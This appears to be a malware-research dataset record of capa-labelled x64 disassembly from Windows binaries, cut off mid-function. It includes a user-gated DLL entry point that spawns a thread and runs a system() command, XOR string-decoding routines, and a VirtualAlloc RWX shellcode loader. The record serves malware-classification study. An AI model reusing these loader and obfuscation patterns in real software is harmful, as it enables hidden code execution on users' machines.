joyce8/EMBER2024-capa huggingface dataset:
Function at 0x180038574
Capabilities:
Create thread
Execute command
Get session user name

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rbp
push rdi
push r14
lea rbp, [rsp - 0x180]
sub rsp, 0x280
mov rax, qword [0x18003d040]
xor rax, rsp
mov qword [rbp + 0x170], rax
mov ebx, edx
mov rsi, rcx
xor r14d, r14d
mov dword [rsp + 0x50], 0x101
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x60]
call qword [sym.imp.ADVAPI32.dll_GetUserNameW]
test eax, eax
je 0x1800385e1
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.1800074ec
mov rax, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x40]
jmp 0x180038601
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
mov rcx, r14
mov qword [rsp + 0x40], rcx
mov eax, 7
mov qword [rsp + 0x48], rax
mov word [rsp + 0x30], r14w
lea rdx, [rsp + 0x30]
cmp rax, 7
cmova rdx, qword [rsp + 0x30]
cmp rcx, 6
jne 0x18003863e
lea r8, [0x180006128]
test rcx, rcx
je 0x180038639
movzx eax, word [r8]
cmp word [rdx], ax
jne 0x18003863e
add rdx, 2
add r8, 2
sub rcx, 1
jne 0x180038622
mov dil, 1
jmp 0x180038641
mov dil, r14b
lea rcx, [rsp + 0x30]
call fcn.180007488
test dil, dil
je 0x18003877e
test ebx, ebx
je 0x18003874a
cmp ebx, 1
jne 0x180038777
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
mov qword [rsp + 0x28], r14
mov dword [rsp + 0x20], r14d
mov r9, rsi
lea r8, [0x1800384e0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
lea ecx, [rbx + 0x1f]
call fcn.180039cb0
mov rbx, rax
mov qword [rsp + 0x50], rax
movabs rax, qword [0x1424304a8]
mov rdx, qword [rax + 0xf0]
mov qword [rbx + 8], r14
mov qword [rbx + 0x10], r14
mov qword [rbx + 0x18], r14
mov qword [rbx], rdx
mov rax, qword [rdx]
mov rcx, r14
cmp qword [rax], r14
je 0x1800386d7
inc rcx
mov qword [rbx + 0x18], rcx
mov rax, qword [rdx]
cmp qword [rax + rcx*8], r14
jne 0x1800386c7
lea rdi, [rcx*8]
mov qword [rbx + 0x10], rax
mov eax, 8
mul rcx
mov rcx, 0xffffffffffffffff
cmovb rax, rcx
mov rcx, rax
call fcn.18003a3c4
mov rcx, rax
mov qword [rbx + 8], rax
mov rdx, qword [rbx + 0x10]
test edi, edi
je 0x180038721
sub rdx, rax
mov r8d, edi
mov al, byte [rcx + rdx]
mov byte [rcx], al
inc rcx
sub r8, 1
jne 0x180038713
mov rcx, qword [rbx]
mov rax, qword [rbx + 8]
mov qword [rcx], rax
mov qword [0x18003dba0], rbx
cmp qword [rbx + 0x18], 0xa
jb 0x180038777
mov rax, qword [rbx + 8]
lea rcx, [0x18003852c]
mov qword [rax + 0x50], rcx
jmp 0x180038777
cmp dword [0x18003dd00], r14d
je 0x180038777
xor edx, edx
xor ecx, ecx
call fcn.18002fe60
mov rcx, qword [0x18003dcf8]
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov qword [0x18003dcf8], r14
mov dword [0x18003dd00], r14d
mov eax, 1
jmp 0x18003878d
lea rcx, [0x180006138]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
mov rcx, qword [rbp + 0x170]
xor rcx, rsp
call fcn.180039c90
lea r11, [rsp + 0x280]
mov rbx, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rsp, r11
pop r14
pop rdi
pop rbp
ret

Function at 0x180038960
Capabilities:
Encode data using xor

Disassembly:
xor r8d, r8d
movsxd rdx, r8d
lea eax, [r8 + 0x2c]
inc r8d
xor byte [rdx + rcx], al
cmp r8d, 0x11
jb 0x180038963
mov byte [rcx + 0x11], 0
mov rax, rcx
ret
Function at 0x180038980
Capabilities:
Encode data using xor

Disassembly:
xor r8d, r8d
movsxd rdx, r8d
lea eax, [r8 + 0x2c]
inc r8d
xor byte [rdx + rcx], al
cmp r8d, 0x23
jb 0x180038983
mov byte [rcx + 0x23], 0
mov rax, rcx
ret

Function at 0x1800389a0
Capabilities:
Encode data using xor

Disassembly:
xor r8d, r8d
movsxd rdx, r8d
lea eax, [r8 + 0x2c]
inc r8d
xor byte [rdx + rcx], al
cmp r8d, 0x19
jb 0x1800389a3
mov byte [rcx + 0x19], 0
mov rax, rcx
ret

Function at 0x1800389c0
Capabilities:
Encode data using xor

Disassembly:
xor r8d, r8d
movsxd rdx, r8d
lea eax, [r8 + 0x2c]
inc r8d
xor byte [rdx + rcx], al
cmp r8d, 0x1b
jb 0x1800389c3
mov byte [rcx + 0x1b], 0
mov rax, rcx
ret

Function at 0x1800389e0
Capabilities:
Encode data using xor

Disassembly:
xor r8d, r8d
movsxd rdx, r8d
lea eax, [r8 + 0x2c]
inc r8d
xor byte [rdx + rcx], al
cmp r8d, 0x21
jb 0x1800389e3
mov byte [rcx + 0x21], 0
mov rax, rcx
ret

Function at 0x180038a00
Capabilities:
Encode data using xor

Disassembly:
xor r8d, r8d
movsxd rdx, r8d
lea eax, [r8 + 0x2c]
inc r8d
xor byte [rdx + rcx], al
cmp r8d, 0x1f
jb 0x180038a03
mov byte [rcx + 0x1f], 0
mov rax, rcx
ret

Function at 0x180038a20
Capabilities:
Encode data using xor

Disassembly:
xor r8d, r8d
movsxd rdx, r8d
lea eax, [r8 + 0x2c]
inc r8d
xor byte [rdx + rcx], al
cmp r8d, 0x1d
jb 0x180038a23
mov byte [rcx + 0x1d], 0
mov rax, rcx
ret

Function at 0x180038a40
Capabilities:
Encode data using xor

Disassembly:
sub rsp, 0x18
movdqa xmm0, xmmword [0x180006490]
xor eax, eax
movdqa xmmword [rsp], xmm0
mov rdx, rcx
movd xmm0, dword [rsp]
movd xmm1, eax
add eax, 4
pshufd xmm1, xmm1, 0
paddd xmm1, xmmword [0x1800063d0]
andps xmm1, xmmword [0x1800063e0]
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [rdx]
xorps xmm1, xmm0
movd dword [rdx], xmm1
lea rdx, [rdx + 4]
cmp eax, 0x10
jb 0x180038a56
mov byte [rcx + 0x10], 0
mov rax, rcx
add rsp, 0x18
ret

Function at 0x180038aa4
Capabilities:
Encode data using xor

Disassembly:
sub rsp, 0x18
movdqa xmm0, xmmword [0x180006490]
xor eax, eax
movdqa xmmword [rsp], xmm0
mov rdx, rcx
movd xmm0, dword [rsp]
movd xmm1, eax
add eax, 4
pshufd xmm1, xmm1, 0
paddd xmm1, xmmword [0x1800063d0]
andps xmm1, xmmword [0x1800063e0]
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [rdx]
xorps xmm1, xmm0
movd dword [rdx], xmm1
lea rdx, [rdx + 4]
cmp eax, 0x14
jb 0x180038aba
mov byte [rcx + 0x14], 0
mov rax, rcx
add rsp, 0x18
ret

Function at 0x180038b08
Capabilities:
Encode data using xor

Disassembly:
xor r8d, r8d
movsxd rdx, r8d
lea eax, [r8 + 0x2c]
inc r8d
xor byte [rdx + rcx], al
cmp r8d, 0xf
jb 0x180038b0b
mov byte [rcx + 0xf], 0
mov rax, rcx
ret
Function at 0x180038b28
Capabilities:
Encode data using xor

Disassembly:
sub rsp, 0x18
movdqa xmm0, xmmword [0x180006490]
xor eax, eax
movdqa xmmword [rsp], xmm0
mov rdx, rcx
movd xmm0, dword [rsp]
movd xmm1, eax
add eax, 4
pshufd xmm1, xmm1, 0
paddd xmm1, xmmword [0x1800063d0]
andps xmm1, xmmword [0x1800063e0]
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [rdx]
xorps xmm1, xmm0
movd dword [rdx], xmm1
lea rdx, [rdx + 4]
cmp eax, 0xc
jb 0x180038b3e
mov byte [rcx + 0xc], 0
mov rax, rcx
add rsp, 0x18
ret

Function at 0x180038b8c
Capabilities:
Encode data using xor

Disassembly:
xor r8d, r8d
movsxd rdx, r8d
lea eax, [r8 + 0x2c]
inc r8d
xor byte [rdx + rcx], al
cmp r8d, 0xe
jb 0x180038b8f
mov byte [rcx + 0xe], 0
mov rax, rcx
ret

Function at 0x180038bac
Capabilities:
Encode data using xor

Disassembly:
xor r8d, r8d
movsxd rdx, r8d
lea eax, [r8 + 0x2c]
inc r8d
xor byte [rdx + rcx], al
cmp r8d, 0x13
jb 0x180038baf
mov byte [rcx + 0x13], 0
mov rax, rcx
ret

Function at 0x180038bcc
Capabilities:
Encode data using xor

Disassembly:
xor r8d, r8d
movsxd rdx, r8d
lea eax, [r8 + 0x2c]
inc r8d
xor byte [rdx + rcx], al
cmp r8d, 0x17
jb 0x180038bcf
mov byte [rcx + 0x17], 0
mov rax, rcx
ret

Function at 0x180038bec
Capabilities:
Encode data using xor

Disassembly:
xor r8d, r8d
movsxd rdx, r8d
lea eax, [r8 + 0x2c]
inc r8d
xor byte [rdx + rcx], al
cmp r8d, 0xd
jb 0x180038bef
mov byte [rcx + 0xd], 0
mov rax, rcx
ret

Function at 0x180038c0c
Capabilities:
Encode data using xor

Disassembly:
xor r8d, r8d
movsxd rdx, r8d
lea eax, [r8 + 0x2c]
inc r8d
xor byte [rdx + rcx], al
cmp r8d, 0xa
jb 0x180038c0f
mov byte [rcx + 0xa], 0
mov rax, rcx
ret

Function at 0x180038c2c
Capabilities:
Encode data using xor

Disassembly:
xor r8d, r8d
movsxd rdx, r8d
lea eax, [r8 + 0x2c]
inc r8d
xor byte [rdx + rcx], al
cmp r8d, 6
jb 0x180038c2f
mov byte [rcx + 6], 0
mov rax, rcx
ret

Function at 0x180038c4c
Capabilities:
Encode data using xor

Disassembly:
sub rsp, 0x18
movdqa xmm0, xmmword [0x180006490]
xor eax, eax
movdqa xmmword [rsp], xmm0
mov rdx, rcx
movd xmm0, dword [rsp]
movd xmm1, eax
add eax, 4
pshufd xmm1, xmm1, 0
paddd xmm1, xmmword [0x1800063d0]
andps xmm1, xmmword [0x1800063e0]
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [rdx]
xorps xmm1, xmm0
movd dword [rdx], xmm1
lea rdx, [rdx + 4]
cmp eax, 4
jb 0x180038c62
mov byte [rcx + 4], 0
mov rax, rcx
add rsp, 0x18
ret

Function at 0x180038cb0
Capabilities:
Encode data using xor

Disassembly:
xor r8d, r8d
movsxd rdx, r8d
lea eax, [r8 + 0x2c]
inc r8d
xor byte [rdx + rcx], al
cmp r8d, 7
jb 0x180038cb3
mov byte [rcx + 7], 0
mov rax, rcx
ret

Function at 0x180038cd0
Capabilities:
Encode data using xor

Disassembly:
sub rsp, 0x18
movdqa xmm0, xmmword [0x180006490]
xor eax, eax
movdqa xmmword [rsp], xmm0
mov rdx, rcx
movd xmm0, dword [rsp]
movd xmm1, eax
add eax, 4
pshufd xmm1, xmm1, 0
paddd xmm1, xmmword [0x1800063d0]
andps xmm1, xmmword [0x1800063e0]
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [rdx]
xorps xmm1, xmm0
movd dword [rdx], xmm1
lea rdx, [rdx + 4]
cmp eax, 8
jb 0x180038ce6
mov byte [rcx + 8], 0
mov rax, rcx
add rsp, 0x18
ret
Function at 0x180038d34
Capabilities:
Encode data using xor

Disassembly:
xor r8d, r8d
movsxd rdx, r8d
lea eax, [r8 + 0x2c]
inc r8d
xor byte [rdx + rcx], al
cmp r8d, 5
jb 0x180038d37
mov byte [rcx + 5], 0
mov rax, rcx
ret

Function at 0x180038d54
Capabilities:
Encode data using xor

Disassembly:
xor r8d, r8d
movsxd rdx, r8d
lea eax, [r8 + 0x2c]
inc r8d
xor byte [rdx + rcx], al
cmp r8d, 2
jb 0x180038d57
mov byte [rcx + 2], 0
mov rax, rcx
ret

Function at 0x1400018f8
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001942
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001942
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001942
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001942
cmp dword [rcx + 0x84], 0xe
jbe 0x140001942
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001944
xor al, al
add rsp, 0x28
ret

Function at 0x401000
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
sub rsp, 0x48
mov qword [rsp + 0x28], 0x2000
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x2000
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x20], rax
lea rax, section..data
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x28]
mov rcx, qword [rsp + 0x28]
sub rcx, 1
mov qword [rsp + 0x28], rcx
test rax, rax
je 0x401086
mov rax, qword [rsp + 0x20]
mov rcx, qword [rsp + 0x38]
movzx ecx, byte [rcx]
mov byte [rax], cl
mov rax, qword [rsp + 0x20]
add rax, 1
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x38]
add rax, 1
mov qword [rsp + 0x38], rax
jmp 0x401041
call qword [rsp + 0x30]
add rsp, 0x48
ret
Function at 0x140001460
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
sub rsp, 8
mov r9, rcx
mov r10d, 0x270
mov ecx, dword [rcx]
cmp ecx, r10d
jne 0x1400014c1
lea r8, [r9 + 8]
nop dword [rax + rax]
mov edx, dword [r8 - 4]
xor edx, dword [r8]
lea r8, [r8 + 4]
btr edx, 0x1f
xor edx, dword [r8 - 8]
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r8 + 0x62c]
xor ecx, edx
mov dword [r8 + 0x9b8], ecx
sub r10, 1
jne 0x140001480
mov ecx, dword [r9]
jmp 0x1400015ab
cmp ecx, 0x4e0
jb 0x1400015ab
lea r10, [r9 + 0x9c4]
mov qword [rsp], rbx
mov r11d, dword [r10]
mov ebx, 0xe3
mov eax, r11d
mov r8, r10
mov r11d, dword [r10 + 4]
add r10, 4
mov edx, r11d
xor edx, eax
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r8 + 0x634]
xor ecx, edx
mov dword [r8 - 0x9c0], ecx
sub rbx, 1
jne 0x1400014e0
lea r10, [r9 + 0xd50]
mov ebx, 0x18c
mov r11d, dword [r10]
nop
mov eax, r11d
mov r8, r10
mov r11d, dword [r10 + 4]
mov edx, eax
xor edx, r11d
add r10, 4
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r8 - 0xd4c]
xor ecx, edx
mov dword [r8 - 0x9c0], ecx
sub rbx, 1
jne 0x140001530
mov eax, dword [r9 + 0x1380]
mov edx, eax
xor edx, dword [r9 + 4]
mov rbx, qword [rsp]
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r9 + 0x634]
xor ecx, edx
mov dword [r9 + 0x9c0], ecx
xor ecx, ecx
mov dword [r9], ecx
mov eax, ecx
mov edx, dword [r9 + rax*4 + 4]
lea eax, [rcx + 1]
mov dword [r9], eax
mov ecx, edx
mov eax, dword [r9 + 0x1384]
shr ecx, 0xb
and eax, ecx
xor edx, eax
mov eax, edx
and eax, 0xff3a58ad
shl eax, 7
xor edx, eax
mov eax, edx
and eax, 0xffffdf8c
shl eax, 0xf
xor edx, eax
mov eax, edx
shr eax, 0x12
xor eax, edx
add rsp, 8
ret
Function at 0x140001880
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
push rbx
mov eax, 0x13c0
call fcn.14005a920
sub rsp, rax
mov rax, qword [0x140093040]
xor rax, rsp
mov qword [rsp + 0x13b0], rax
mov ebx, edx
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov dword [rsp + 0x13a4], 0xffffffff
mov r8d, 1
mov dword [rsp + 0x24], eax
mov r9d, 0x270
nop dword [rax]
nop dword [rax + rax]
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, r8d
mov dword [rsp + r8*4 + 0x24], eax
inc r8
cmp r8, r9
jb 0x1400018d0
mov dword [rsp + 0x20], r9d
cmp ebx, 0xffffffff
jne 0x140001970
lea r8, [rsp + 0x28]
nop dword [rax]
mov edx, dword [r8 - 4]
xor edx, dword [r8]
lea r8, [r8 + 4]
btr edx, 0x1f
xor edx, dword [r8 - 8]
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r8 + 0x62c]
xor ecx, edx
mov dword [r8 + 0x9b8], ecx
sub r9, 1
jne 0x140001900
mov eax, dword [rsp + 0x20]
mov ecx, dword [rsp + rax*4 + 0x24]
mov eax, ecx
shr eax, 0xb
and eax, dword [rsp + 0x13a4]
xor ecx, eax
mov eax, ecx
and eax, 0xff3a58ad
shl eax, 7
xor ecx, eax
mov eax, ecx
and eax, 0xffffdf8c
shl eax, 0xf
xor ecx, eax
mov eax, ecx
shr eax, 0x12
xor eax, ecx
jmp 0x1400019c2
lea rcx, [rsp + 0x20]
mov qword [rsp + 0x13d0], rdi
inc ebx
call fcn.140001460
mov ecx, eax
mov edi, ebx
imul rcx, rdi
cmp ecx, ebx
jae 0x1400019b4
mov eax, ebx
xor edx, edx
neg eax
div ebx
mov ebx, edx
cmp ecx, edx
jae 0x1400019b4
nop
lea rcx, [rsp + 0x20]
call fcn.140001460
mov ecx, eax
imul rcx, rdi
cmp ecx, ebx
jb 0x1400019a0
mov rdi, qword [rsp + 0x13d0]
shr rcx, 0x20
mov eax, ecx
mov rcx, qword [rsp + 0x13b0]
xor rcx, rsp
call fcn.140059890
add rsp, 0x13c0
pop rbx
ret
Function at 0x1400019e0
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
push rbx
mov eax, 0x13f0
call fcn.14005a920
sub rsp, rax
movaps xmmword [rsp + 0x13e0], xmm6
movaps xmmword [rsp + 0x13d0], xmm7
movaps xmmword [rsp + 0x13c0], xmm8
mov rax, qword [0x140093040]
xor rax, rsp
mov qword [rsp + 0x13b0], rax
xor eax, eax
mov rbx, rcx
mov qword [rcx], rax
mov qword [rcx + 8], rax
mov rax, qword [0x140093be0]
mov rcx, qword [rax + 0x1d18]
cvttss2si edx, dword [rcx + 0x5c]
call fcn.140001880
movd xmm6, eax
mov rax, qword [0x140093be0]
cvtdq2ps xmm6, xmm6
mov rcx, qword [rax + 0x1d18]
cvttss2si edx, dword [rcx + 0x58]
call fcn.140001880
movss dword [rbx + 4], xmm6
movd xmm0, eax
cvtdq2ps xmm0, xmm0
movss dword [rbx], xmm0
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov dword [rsp + 0x13a4], 0xffffffff
mov edx, 1
mov dword [rsp + 0x24], eax
nop word [rax + rax]
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, edx
mov dword [rsp + rdx*4 + 0x24], eax
inc rdx
cmp rdx, 0x270
jb 0x140001a90
lea rcx, [rsp + 0x20]
mov dword [rsp + 0x20], 0x270
call fcn.140001460
mov ecx, eax
imul rax, rcx, 0x169
cmp eax, 0x77
ja 0x140001ae8
nop
lea rcx, [rsp + 0x20]
call fcn.140001460
mov ecx, eax
imul rax, rcx, 0x169
cmp eax, 0x78
jb 0x140001ad0
shr rax, 0x20
movd xmm0, eax
cvtdq2pd xmm0, xmm0
mulsd xmm0, qword [0x14008aa60]
cvtpd2ps xmm7, xmm0
movaps xmm0, xmm7
call sub.api_ms_win_crt_math_l1_1_0.dll_cosf
movaps xmm8, xmm0
movaps xmm0, xmm7
mulss xmm8, dword [0x14008a9f4]
call sub.api_ms_win_crt_math_l1_1_0.dll_sinf
mulss xmm0, dword [0x14008a9f4]
mov rax, rbx
movss dword [rbx + 8], xmm8
movss dword [rbx + 0xc], xmm0
mov rcx, qword [rsp + 0x13b0]
xor rcx, rsp
call fcn.140059890
lea r11, [rsp + 0x13f0]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
mov rsp, r11
pop rbx
ret
Function at 0x140008890
Capabilities:
Hash data with crc32

Disassembly:
mov qword [rsp + 8], rbx
mov r11d, r8d
mov r10, rdx
not r11d
mov r9, rcx
mov eax, r11d
test rdx, rdx
je 0x1400088ed
lea rbx, [0x14005cd50]
movzx r8d, byte [r9]
lea r9, [r9 + 1]
dec r10
cmp r8b, 0x23
jne 0x1400088d4
cmp r10, 2
jb 0x1400088d4
cmp byte [r9], r8b
jne 0x1400088d4
cmp byte [r9 + 1], r8b
cmove eax, r11d
movzx edx, al
xor rdx, r8
shr eax, 8
xor eax, dword [rbx + rdx*4]
test r10, r10
jne 0x1400088b0
not eax
mov rbx, qword [rsp + 8]
ret
movzx r8d, byte [rcx]
inc r9
test r8b, r8b
je 0x14000892f
lea rbx, [0x14005cd50]
cmp r8b, 0x23
jne 0x140008913
cmp byte [r9], r8b
jne 0x140008913
cmp byte [r9 + 1], r8b
cmove eax, r11d
movzx edx, al
movzx ecx, r8b
movzx r8d, byte [r9]
xor rdx, rcx
shr eax, 8
inc r9
xor eax, dword [rbx + rdx*4]
test r8b, r8b
jne 0x140008900
mov rbx, qword [rsp + 8]
not eax
ret

Function at 0x140008af0
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
push rdi
sub rsp, 0x20
mov rdi, r8
mov rbx, rcx
test rcx, rcx
jne 0x140008b1f
mov r8d, 0x645
lea rdx, str.C:Users_rynxpDesktopkurva_anyadImGui_Loader_Base_masterimguiimgui.cpp
lea rcx, str.filename__mode
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
test rdi, rdi
je 0x140008b2b
mov qword [rdi], 0
lea rdx, [0x140083a18]
mov rcx, rbx
call fcn.140008940
mov rbx, rax
test rax, rax
jne 0x140008b4d
mov rbx, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
mov qword [rsp + 0x30], rbp
mov rcx, rbx
mov qword [rsp + 0x38], rsi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
mov ebp, eax
cmp eax, 0xffffffff
je 0x140008c24
xor edx, edx
mov rcx, rbx
lea r8d, [rdx + 2]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
test eax, eax
jne 0x140008c24
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
movsxd rsi, eax
cmp esi, 0xffffffff
je 0x140008c24
xor r8d, r8d
mov edx, ebp
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
test eax, eax
jne 0x140008c24
cmp rsi, 0xffffffffffffffff
je 0x140008c24
mov rax, qword [0x140093be0]
test rax, rax
je 0x140008bc1
inc dword [rax + 0x3b0]
mov rcx, rsi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rbp, rax
test rax, rax
je 0x140008c24
mov r9, rbx
mov r8, rsi
mov edx, 1
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
mov rcx, rbx
cmp rax, rsi
je 0x140008c11
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov rax, qword [0x140093be0]
test rax, rax
je 0x140008c06
dec dword [rax + 0x3b0]
mov rcx, rbp
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
jmp 0x140008c2d
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
test rdi, rdi
je 0x140008c1f
mov qword [rdi], rsi
mov rax, rbp
jmp 0x140008c2f
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
xor eax, eax
mov rbp, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
mov rbx, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x14000ba50
Capabilities:
Hash data with crc32

Disassembly:
mov qword [rsp + 8], rbx
mov dword [rsp + 0x10], edx
push rdi
sub rsp, 0x20
cmp dword [rcx + 0x108], 0
mov rbx, rcx
mov edi, edx
jg 0x14000ba86
mov r8d, 0x6d2
lea rdx, str.C:Users_rynxpDesktopkurva_anyadImGui_Loader_Base_masterimguiimgui.h
lea rcx, str.Size___0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
movsxd r8, dword [rbx + 0x108]
mov rax, qword [rbx + 0x110]
mov edx, dword [rax + r8*4 - 4]
lea r8, [0x14005cd50]
not edx
movzx eax, dil
movzx ecx, dl
xor rcx, rax
shr edx, 8
movzx eax, byte [rsp + 0x39]
xor edx, dword [r8 + rcx*4]
movzx ecx, dl
xor rcx, rax
shr edx, 8
movzx eax, byte [rsp + 0x3a]
xor edx, dword [r8 + rcx*4]
movzx ecx, dl
xor rcx, rax
shr edx, 8
movzx eax, byte [rsp + 0x3b]
xor edx, dword [r8 + rcx*4]
movzx ecx, dl
xor rcx, rax
shr edx, 8
mov rax, qword [0x140093be0]
xor edx, dword [r8 + rcx*4]
not edx
cmp dword [rax + 0x1d6c], edx
jne 0x14000bb00
mov dword [rax + 0x1d70], edx
cmp dword [rax + 0x1da8], edx
jne 0x14000bb0f
mov byte [rax + 0x1dac], 1
mov rbx, qword [rsp + 0x30]
mov eax, edx
add rsp, 0x20
pop rdi
ret
Function at 0x140018b30
Capabilities:
Hash data with crc32

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x20
mov rax, qword [0x140093be0]
mov rsi, rcx
mov rbx, qword [rax + 0x1d18]
add rbx, 0x108
cmp dword [rbx], 0
jg 0x140018b7b
mov r8d, 0x6d2
lea rdx, str.C:Users_rynxpDesktopkurva_anyadImGui_Loader_Base_masterimguiimgui.h
lea rcx, str.Size___0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
movsxd rdx, dword [rbx]
lea r8, [0x14005cd50]
mov rax, qword [rbx + 8]
mov edi, dword [rax + rdx*4 - 4]
not edi
movzx eax, sil
movzx ecx, dil
xor rcx, rax
shr edi, 8
movzx eax, byte [rsp + 0x31]
xor edi, dword [r8 + rcx*4]
movzx ecx, dil
xor rcx, rax
shr edi, 8
movzx eax, byte [rsp + 0x32]
xor edi, dword [r8 + rcx*4]
movzx ecx, dil
xor rcx, rax
shr edi, 8
movzx eax, byte [rsp + 0x33]
xor edi, dword [r8 + rcx*4]
movzx ecx, dil
xor rcx, rax
shr edi, 8
movzx eax, byte [rsp + 0x34]
xor edi, dword [r8 + rcx*4]
movzx ecx, dil
xor rcx, rax
shr edi, 8
movzx eax, byte [rsp + 0x35]
xor edi, dword [r8 + rcx*4]
movzx ecx, dil
xor rcx, rax
shr edi, 8
movzx eax, byte [rsp + 0x36]
xor edi, dword [r8 + rcx*4]
movzx ecx, dil
xor rcx, rax
shr edi, 8
movzx eax, byte [rsp + 0x37]
xor edi, dword [r8 + rcx*4]
movzx ecx, dil
shr edi, 8
xor rcx, rax
xor edi, dword [r8 + rcx*4]
mov r8d, dword [rbx + 4]
not edi
cmp edx, r8d
jne 0x140018c5a
lea ecx, [rdx + 1]
test r8d, r8d
je 0x140018c46
mov eax, r8d
cdq
sub eax, edx
sar eax, 1
add eax, r8d
jmp 0x140018c4b
mov eax, 8
cmp eax, ecx
cmovg ecx, eax
mov edx, ecx
mov rcx, rbx
call fcn.14002fe60
movsxd rcx, dword [rbx]
mov rax, qword [rbx + 8]
mov rsi, qword [rsp + 0x40]
mov dword [rax + rcx*4], edi
inc dword [rbx]
mov rbx, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret

Function at 0x140018c80
Capabilities:
Hash data with crc32

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov dword [rsp + 8], ecx
push rdi
sub rsp, 0x20
mov rax, qword [0x140093be0]
mov esi, ecx
mov rbx, qword [rax + 0x1d18]
add rbx, 0x108
cmp dword [rbx], 0
jg 0x140018cc9
mov r8d, 0x6d2
lea rdx, str.C:Users_rynxpDesktopkurva_anyadImGui_Loader_Base_masterimguiimgui.h
lea rcx, str.Size___0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
movsxd rdx, dword [rbx]
lea r8, [0x14005cd50]
mov rax, qword [rbx + 8]
mov edi, dword [rax + rdx*4 - 4]
not edi
movzx eax, sil
movzx ecx, dil
xor rcx, rax
shr edi, 8
movzx eax, byte [rsp + 0x31]
xor edi, dword [r8 + rcx*4]
movzx ecx, dil
xor rcx, rax
shr edi, 8
movzx eax, byte [rsp + 0x32]
xor edi, dword [r8 + rcx*4]
movzx ecx, dil
xor rcx, rax
shr edi, 8
